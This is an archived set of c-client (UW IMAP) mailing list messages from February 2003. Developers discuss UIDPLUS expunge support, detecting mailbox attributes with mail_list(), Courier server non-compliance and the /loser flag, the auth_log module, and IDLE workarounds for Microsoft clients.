Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1NJAITk032517 for ; Sun, 23 Feb 2003 11:10:18 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1NJAEVH004617 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 23 Feb 2003 11:10:15 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1NJ9S0a028514; Sun, 23 Feb 2003 11:09:28 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1NJ8eA8017852 for ; Sun, 23 Feb 2003 11:08:40 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1NJ8cv7017696 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 23 Feb 2003 11:08:38 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout4.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1NJ8aq6031603; Sun, 23 Feb 2003 11:08:36 -0800 Received: from Shimo-Tomobiki.Panda.COM (panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1NJ8XZI005693 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Sun, 23 Feb 2003 11:08:35 -0800 Message-Id: Date: Sun, 23 Feb 2003 11:08:44 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Hein Roehrig Cc: c-client@u.washington.edu Subject: Re: imap uid expunge support (from uidplus extension) ? In-Reply-To: <20030223182547.72D8E4DB12@server2.fastmail.fm> References: <20030223182547.72D8E4DB12@server2.fastmail.fm> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 23 Feb 2003, Hein Roehrig wrote: > browsing internal.txt it appears that there is no direct way to expunge a > single message. Is support if the UIDPLUS extension's UID EXPUNGE command > planned (or already implemented somewhere) ? In general, I encourage application writers not to think about expunging single messages, and instead to think exclusively in terms of the delete-expunge model. Of course this is not always possible to do; e.g. spam filters may want to expunge messages identified as spam without touching deleted messages. There is no plan to implement the UIDPLUS extension at the current time. In spite of what I said in the previous paragraph, the reasons for not having UIDPLUS are primarily technical; it isn't an attempt to enforce the use of the delete-expunge model. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Mon Feb 24 01:26:24 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 24 Feb 2003 01:26:24 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1O9QNTk016346 for ; Mon, 24 Feb 2003 01:26:23 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1O9QKWn007786 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 24 Feb 2003 01:26:20 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1O9PThN014724; Mon, 24 Feb 2003 01:25:30 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1O9O6A8047128 for ; Mon, 24 Feb 2003 01:24:06 -0800 Received: from petertosh (dhcp03.hsz-t.ch [193.5.54.13]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1O9O4v6006266 for ; Mon, 24 Feb 2003 01:24:05 -0800 Received: from tpo2 (helo=localhost) by petertosh with local-esmtp (Exim 3.35 #1 (Debian)) id 18nEoL-0007ML-00 for ; Mon, 24 Feb 2003 10:22:09 +0100 Message-Id: Date: Mon, 24 Feb 2003 10:22:09 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: tomas pospisek To: c-client@u.washington.edu Subject: Re: how 2 determine if mailbox can have subboxes and messages In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: tpo2@petertosh X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 21 Feb 2003, tomas pospisek wrote: > mailsync's task is to synchronize two mailboxes. There are mail > repositories that support mailboxes with submailboxes *and* messages > (courier IMAP, Maildir) but most not. > > Is there an eays and/or elegant way to find out whether a mailbox > may contain subboxes *and* messages at the same time? Since this request hasn't generated a mailstorm, here's a follow up: is there a way to access/find/catch the "Hello" String somewhere in c-client: "OK Courier-IMAP ready. ..." I could filter on that string and check the currently used driver in order to determine whether or not the store I'm accessing has the ability to create submailboxes _and_ messages at the same time inside mailboxes. Comments? Am I heading in a completely wrong direction? *t -- will kill for oil From pinedev@shivax2.cac.washington.edu Mon Feb 24 01:49:42 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 24 Feb 2003 01:49:42 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1O9nfTk017258 for ; Mon, 24 Feb 2003 01:49:41 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1O9ndWn008300 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 24 Feb 2003 01:49:39 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1O9mhhN005076; Mon, 24 Feb 2003 01:48:43 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1O9luA8048324 for ; Mon, 24 Feb 2003 01:47:56 -0800 Received: from hera.cwi.nl (hera.cwi.nl [192.16.191.8]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1O9lrw9009011 for ; Mon, 24 Feb 2003 01:47:54 -0800 Received: from qaip3 (bovenra.ins.cwi.nl [192.16.196.174]) by hera.cwi.nl with ESMTP id KAA22864 for ; Mon, 24 Feb 2003 10:47:42 +0100 (MET) Received: from roehrig by qaip3 with local (Exim 3.36 #1 (Debian)) id 18nFD3-0003kQ-00; Mon, 24 Feb 2003 10:47:42 +0100 Message-Id: <87u1euggci.fsf@qaip3.ins.cwi.nl> Date: Mon, 24 Feb 2003 10:47:41 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Hein Roehrig To: tomas pospisek Cc: c-client@u.washington.edu Subject: Re: how 2 determine if mailbox can have subboxes and messages In-Reply-To: (tomas pospisek's message of "Mon, 24 Feb 2003 10:22:09 +0100 (CET)") References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Sender: Hein Roehrig X-No-archive: yes X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN tomas pospisek writes: > On Fri, 21 Feb 2003, tomas pospisek wrote: > >> mailsync's task is to synchronize two mailboxes. There are mail >> repositories that support mailboxes with submailboxes *and* messages >> (courier IMAP, Maildir) but most not. >> >> Is there an eays and/or elegant way to find out whether a mailbox >> may contain subboxes *and* messages at the same time? The IMAP LIST response has name attributes \Noinferiors (mailbox cannot have submailboxes) and \Noselect (mailbox cannot have messages). I don't know how you get to that information from the C-Client library. -Hein From pinedev@shivax2.cac.washington.edu Mon Feb 24 07:40:23 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 24 Feb 2003 07:40:23 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1OFeNTk026478 for ; Mon, 24 Feb 2003 07:40:23 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1OFeIVH031026 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 24 Feb 2003 07:40:18 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1OFdFZD028794; Mon, 24 Feb 2003 07:39:16 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1OFc2A8015200 for ; Mon, 24 Feb 2003 07:38:02 -0800 Received: from hera.cwi.nl (hera.cwi.nl [192.16.191.8]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1OFbvv6021994 for ; Mon, 24 Feb 2003 07:37:58 -0800 Received: from qaip3 (bovenra.ins.cwi.nl [192.16.196.174]) by hera.cwi.nl with ESMTP id QAA06779 for ; Mon, 24 Feb 2003 16:37:36 +0100 (MET) Received: from roehrig by qaip3 with local (Exim 3.36 #1 (Debian)) id 18nKfg-0003wA-00; Mon, 24 Feb 2003 16:37:36 +0100 Message-Id: <1046101056.11620.178.camel@qaip3> Date: 24 Feb 2003 16:37:36 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Hein Roehrig To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: imap uid expunge support (from uidplus extension) ? In-Reply-To: References: <20030223182547.72D8E4DB12@server2.fastmail.fm> Content-Type: text/plain Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Sender: Hein Roehrig X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 2003-02-23 at 20:08, Mark Crispin wrote: > In general, I encourage application writers not to think about expunging > single messages, and instead to think exclusively in terms of the > delete-expunge model. I am trying to implement a slight extension of this model. Instead of expunging all messages, I prefer to expunge only messages that have been deleted for, say, a week. This is similar to what (ex)mh does and it has the great advantage of permitting "second thoughts" for all messages for one week. Since IMAP (nor any of the currently proposed extensions, AFAIK) does not allow the date of deletion, I was trying to write a little script that would log on to the IMAP server, expunge all messages that have a user-defined flag set, and set this flag for all messages marked deleted. The workaround proposed in the UIDPLUS RFC (i.e., temporarily removing the \Deleted flag) strikes me as an ugly and dangerous solution. > There is no plan to implement the UIDPLUS extension at the current time. > In spite of what I said in the previous paragraph, the reasons for not > having UIDPLUS are primarily technical; it isn't an attempt to enforce the > use of the delete-expunge model. What is the main impediment? Is it the CAPABILITY handling, the idea that all operations should work on all backend drivers, ... ? Off topic: I would also appreciate comments on other APIs for accessing IMAP and other mail stores from Perl (or another scripting language, Java being about as far down as I would be willing do go...) Thanks, Hein From pinedev@shivax2.cac.washington.edu Mon Feb 24 09:05:53 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 24 Feb 2003 09:05:53 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1OH5qTk030649 for ; Mon, 24 Feb 2003 09:05:52 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1OH5kWn019492 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 24 Feb 2003 09:05:47 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1OH1thN004948; Mon, 24 Feb 2003 09:01:56 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1OH0sA8045502 for ; Mon, 24 Feb 2003 09:00:54 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1OH0llt029589 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 24 Feb 2003 09:00:48 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1OH0hFR003492; Mon, 24 Feb 2003 09:00:43 -0800 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.100.200]) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1OH0hFl025139 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Mon, 24 Feb 2003 09:00:43 -0800 Message-Id: Date: Mon, 24 Feb 2003 09:00:43 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: tomas pospisek Cc: c-client@u.washington.edu Subject: Re: how 2 determine if mailbox can have subboxes and messages In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 24 Feb 2003, tomas pospisek wrote: > Since this request hasn't generated a mailstorm, here's a follow up: > is there a way to access/find/catch the "Hello" String somewhere in c-client: > "OK Courier-IMAP ready. ..." The only thing that such a test would be good for would be to determine if the server does not comply with IMAP. Courier is very non-compliant, and you should always use the "/loser" flag in the host specification of the mailbox name with a Courier server to avoid problems. > I could filter on that string and check the currently used driver in order > to determine whether or not the store I'm accessing has the ability to > create submailboxes _and_ messages at the same time inside mailboxes. > > Comments? Am I heading in a completely wrong direction? Yes, you are heading in the wrong direction. Use the mail_list() function which returns the mailbox attributes including noselect and noinferiors state. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Mon Feb 24 10:57:09 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 24 Feb 2003 10:57:09 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1OIv9Tk003187 for ; Mon, 24 Feb 2003 10:57:09 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1OIux2n025817 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 24 Feb 2003 10:56:59 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1OItmZD005464; Mon, 24 Feb 2003 10:55:49 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1OIsMA8044806 for ; Mon, 24 Feb 2003 10:54:23 -0800 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1OIsGxZ009277 for ; Mon, 24 Feb 2003 10:54:17 -0800 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.12.5/jtpda-5.4) with ESMTP id h1OIsFYY037961 for ; Mon, 24 Feb 2003 19:54:15 +0100 (CET) Received: from (zeitlin@localhost) by parthe.lpthe.jussieu.fr (8.11.6/jtpda-5.4) id h1OIsAg31338 ; Mon, 24 Feb 2003 19:54:10 +0100 Message-Id: Date: Mon, 24 Feb 2003 19:54:10 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: Re[2]: how 2 determine if mailbox can have subboxes and messages In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Antivirus: scanned by sophie at shiva.jussieu.fr X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 24 Feb 2003 09:00:43 -0800 (PST) Mark Crispin wrote: MC> On Mon, 24 Feb 2003, tomas pospisek wrote: MC> > Since this request hasn't generated a mailstorm, here's a follow up: MC> > is there a way to access/find/catch the "Hello" String somewhere in c-client: MC> > "OK Courier-IMAP ready. ..." MC> MC> The only thing that such a test would be good for would be to determine if MC> the server does not comply with IMAP. Courier is very non-compliant, and MC> you should always use the "/loser" flag in the host specification of the MC> mailbox name with a Courier server to avoid problems. But how can I know that the server is Courier? I don't see any way to retrieve the server greeting from cclient, is there one (then I'd be able to close the connection and reopen it with this flag automatically without user internvention)? Could you please also mention briefly how is cclient behaviour modified if this flag is given? Thank you, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Feb 24 11:07:14 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 24 Feb 2003 11:07:14 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1OJ7DTk003653 for ; Mon, 24 Feb 2003 11:07:13 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1OJ77VH006894 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 24 Feb 2003 11:07:07 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1OJ67hN029004; Mon, 24 Feb 2003 11:06:07 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1OJ5AA8045440 for ; Mon, 24 Feb 2003 11:05:10 -0800 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1OJ56ls008358 for ; Mon, 24 Feb 2003 11:05:06 -0800 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id LAA28094; Mon, 24 Feb 2003 11:04:59 -0800 (PST) Message-Id: Date: Mon, 24 Feb 2003 10:59:15 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: re: Re[2]: how 2 determine if mailbox can have subboxes and messages In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 24 Feb 2003 19:54:10 +0100 (CET), Vadim Zeitlin wrote: > But how can I know that the server is Courier? I don't see any way to > retrieve the server greeting from cclient, is there one (then I'd be able > to close the connection and reopen it with this flag automatically without > user internvention)? Could you please also mention briefly how is cclient > behaviour modified if this flag is given? My comment was only half-serious. There is some (albeit minimal) hope that the author of Courier will finally decide to play ball with the rest of the IMAP community, instead of trying to force the rest of the IMAP community to comply with his misinterpretation of IMAP. I recommend the use of "/loser" as a manual user setting, to be used only when the application has problems with a particular server implementation that are traced to implementation defects on the server. What /loser does will change over time; as problems are discovered more /loser workaround will be added. I strongly recommend *AGAINST* any attempt to test for a particular server by name; that is absolutely the wrong way to build clients. When I become aware of any client that tries to test for UW imapd in that way, I will see to it that the next version of UW imapd breaks that test. From pinedev@shivax2.cac.washington.edu Tue Feb 25 06:32:55 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 25 Feb 2003 06:32:55 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1PEWtTk006844 for ; Tue, 25 Feb 2003 06:32:55 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1PEWpVH006295 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 25 Feb 2003 06:32:52 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1PEVthN019886; Tue, 25 Feb 2003 06:31:55 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1PETcA8032484 for ; Tue, 25 Feb 2003 06:29:38 -0800 Received: from hal-5.inet.it (hal-5.inet.it [213.92.5.24]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1PETaxZ006870 for ; Tue, 25 Feb 2003 06:29:36 -0800 Received: from [::ffff:213.92.1.193] by hal-5.inet.it via I-SMTP-4.3.6-430 id ::ffff:213.92.1.193+fLgpwAoNyHyo; Tue, 25 Feb 2003 15:29:33 +0100 Message-Id: Date: Tue, 25 Feb 2003 15:31:44 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Harrie Hazewinkel To: imap c-client Cc: Harrie Hazewinkel Subject: auth_log module Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v551) Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=XXIIIII, Probability=25%, Report="RCVD_IN_MULTIHOP_DSBL, RCVD_IN_UNCONFIRMED_DSBL, SIGNATURE_SHORT_DENSE, SPAM_PHRASE_00_01, __EVITE_CTYPE" HI, Can someone tell me where I can find an internetdraft (or RFC) can find for the auth_log module of the c-client?? A description on how to use it would be fine too. thanks, Harrie ------------------------------------------------------------------ Author of MOD-SNMP, enabling SNMP management of Apache HTTP server -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Feb 25 07:21:39 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 25 Feb 2003 07:21:39 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1PFLdTk008056 for ; Tue, 25 Feb 2003 07:21:39 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1PFLXVH007530 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 25 Feb 2003 07:21:33 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1PFKlSR085938; Tue, 25 Feb 2003 07:20:47 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1PFK1A8023528 for ; Tue, 25 Feb 2003 07:20:01 -0800 Received: from sheridan.sibble.com (s64-180-126-175.bc.hsia.telus.net [64.180.126.175]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1PFJwPI022433 for ; Tue, 25 Feb 2003 07:19:58 -0800 Received: from gkar (jakar2.sibble.com [192.168.73.4]) by sheridan.sibble.com (8.9.3/8.9.3) with ESMTP id HAA01373 for ; Tue, 25 Feb 2003 07:19:03 -0800 Message-Id: <200302251519.HAA01373@sheridan.sibble.com> Date: Tue, 25 Feb 2003 07:19:53 -0800 Reply-To: help@pdscc.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Harondel J. Sibble" To: c-client@u.washington.edu Subject: outlook express and idle issues MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-LINE1: ABCDEF0123456789 X-Uwash-Spam: Gauge=XIIIIIII, Probability=17%, Report="MSG_ID_ADDED_BY_MTA_3, SIGNATURE_LONG_SPARSE, SPAM_PHRASE_00_01, __EVITE_CTYPE" X-Uwash-Spam: Gauge=III, Probability=3%, Report="NOSPAM_INC, SIGNATURE_SHORT_DENSE, SPAM_PHRASE_00_01, __EVITE_CTYPE, __HAS_X_MAILER" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The FAQ states ************** 7.38 Why don't I get any new mail notifications from Entourage? This is a known bug in Entourage. You built an older version of imapd with the MICROSOFT_BRAIN_DAMAGE option set, in order to disable support for the IDLE command. However, Entourage won't get new mail unless IDLE command support exists. Note: the MICROSOFT_BRAIN_DAMAGE option is removed as of imap-2002, in favor of a better way to work around IDLE problems. ************** What is the better way to deal with this problem? I am re-reading the docs and the makefiles but haven't seen anything thus far. -- Harondel J. Sibble Sibble Computer Consulting Creating solutions for the small business and home computer user. help@pdscc.com (use pgp keyid 0x3AD5C11D) http://www.pdscc.com (604) 739-3709 (voice/fax) (604) 686-2253 (pager) -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Feb 25 08:24:10 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 25 Feb 2003 08:24:10 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1PGO9Tk009938 for ; Tue, 25 Feb 2003 08:24:09 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1PGO1VH009450 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 25 Feb 2003 08:24:02 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1PGN40a032894; Tue, 25 Feb 2003 08:23:04 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1PGMKA8037948 for ; Tue, 25 Feb 2003 08:22:20 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1PGMFxa031540 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 25 Feb 2003 08:22:15 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1PGM6JA023256; Tue, 25 Feb 2003 